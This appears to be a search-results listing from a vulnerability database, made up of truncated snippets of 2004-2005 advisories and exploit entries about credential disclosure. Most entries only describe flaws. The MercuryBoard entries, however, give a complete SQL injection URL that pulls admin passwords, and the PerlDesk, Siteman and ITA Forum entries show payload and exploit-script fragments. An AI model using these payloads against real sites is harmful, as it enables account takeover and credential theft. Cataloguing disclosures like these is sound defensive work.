3263 matches found
Positive Software H-Sphere Winbox 2.4 - Sensitive Logfile Content Disclosure
Positive Software H-Sphere Winbox 2.4 - Sensitive Logfile Content Disclosure source: https://www.securityfocus.com/bid/13559/info It is reported that Positive Software H-Sphere Winbox stores user account information in a plaintext format inside of application log files. As a result, user...
Dameware NT Utilities and MiniRemote Control <= 4.9 vulnerability
Dameware NT Utilities and MiniRemote Control = 4.9 vulnerability - 1 - Introduction DameWare NT Utilities is an enterprise system management application for Windows NT/2000/XP/2003 which provides an integrated collection of Microsoft Windows NT administration utilities incorporating a centralized...
[SA14923] DeluxeFTP Disclosure of User Credentials
---------------------------------------------------------------------- Want a new IT Security job? Vacant positions at Secunia: http://secunia.com/secuniavacancies/ ---------------------------------------------------------------------- TITLE: DeluxeFTP Disclosure of User Credentials SECUNIA...
CVE-2005-0938
Ublog Reload 1.0 through 1.0.4 stores ublogreload.mdb under the web root, which allows remote attackers to read usernames and hashed passwords via a direct request to ublogreload.mdb...
[SA14455] Einstein Sensitive Information Disclosure
---------------------------------------------------------------------- Monitor, Filter, and Manage Security Information - Filtering and Management of Secunia advisories - Overview, documentation, and detailed reports - Alerting via email and SMS Request Trial: https://ca.secunia.com/?f=l...
[SA14389] PeerFTP_5 User Credentials Disclosure
TITLE: PeerFTP5 User Credentials Disclosure SECUNIA ADVISORY ID: SA14389 VERIFY ADVISORY: http://secunia.com/advisories/14389/ CRITICAL: Less critical IMPACT: Exposure of sensitive information WHERE: Local system SOFTWARE: PeerFTP5 5.x http://secunia.com/product/4706/ DESCRIPTION: Kozan has...
Install source spoofing with user:pass@host — Mozilla
The installation confirmation dialog shows the source of the software. By adding a long, fake "user:pass" in front of the true hostname the user might be convinced to trust software that comes from an untrustworthy source. This is similar to attempts used in some phishing mail:...
[SA14385] Chat Anywhere User Credentials Disclosure
TITLE: Chat Anywhere User Credentials Disclosure SECUNIA ADVISORY ID: SA14385 VERIFY ADVISORY: http://secunia.com/advisories/14385/ CRITICAL: Less critical IMPACT: Exposure of sensitive information WHERE: Local system SOFTWARE: Chat Anywhere 2.x http://secunia.com/product/3163/ DESCRIPTION: Kozan...
MercuryBoard <= 1.1.1 Working Sql Injection
No description provided by source. little late posting this /str0ke Exploit: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20userpassword,username%20from%20mbusers%20where%20usergroup%20=%201%20limit%201/ milw0rm.com 2005-02-12...
MercuryBoard 1.1.1 - SQL Injection
MercuryBoard 1.1.1 - SQL Injection little late posting this /str0ke Exploit: http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20userpassword,username%20from%20mbusers%20where%20usergroup%20=%201%20limit%201/ milw0rm.com 2005-02-12...
XGB 2.0 - Authentication Bypass
XGB 2.0 - Authentication Bypass source: https://www.securityfocus.com/bid/12489/info xGB is reportedly affected by a vulnerability that could permit unauthorized administrator access. This issue is due to the application failing to properly verify user credentials. A malicious user could exploit...
PerlDesk 1.x SQL-Injection Exploit
No description provided by source. !/usr/bin/perl Example: kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users Exploit is attached. ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80 use IO::Socket; print ' PerlDesk exploit Usage: ./pdsploit.pl host path proxy...
Infinite Mobile Delivery Webmail Multiple Vulnerabilities (XSS, PD)
There are flaws in the remote Infinite Mobile Delivery, a web interface to provide wireless access to mail. This version of Infinite Mobile Delivery has a cross-site scripting vulnerability and a path disclosure vulnerability. An attacker, exploiting this flaw, would be able to steal user...
CVE-2004-0923
CUPS 1.1.20 and earlier records authentication information for a device URI in the errorlog file, which allows local users to obtain user names and passwords...
CVE-2004-0923
CUPS 1.1.20 and earlier records authentication information for a device URI in the errorlog file, which allows local users to obtain user names and passwords...
Siteman 1.1.10 - Remote Administrative Account Addition
Siteman 1.1.10 - Remote Administrative Account Addition !/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path...
MercuryBoard 1.1 - Multiple Input Validation Vulnerabilities
MercuryBoard 1.1 - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/12359/info Multiple input validation vulnerabilities affect MercuryBoard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in...
r57ita.pl.txt
!/usr/bin/perl use LWP::UserAgent; ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: example: r57ita.pl http://127.0.0.1/ITA/ admin 0 ! Exploiting adduser.php...
ITA Forum 1.49 - SQL Injection
!/usr/bin/perl use LWP::UserAgent; ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: example: r57ita.pl http://127.0.0.1/ITA/ admin 0 ! Exploiting adduser.php...
ITA Forum 1.49 - SQL Injection
ITA Forum 1.49 - SQL Injection !/usr/bin/perl use LWP::UserAgent; ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: example: r57ita.pl http://127.0.0.1/ITA/...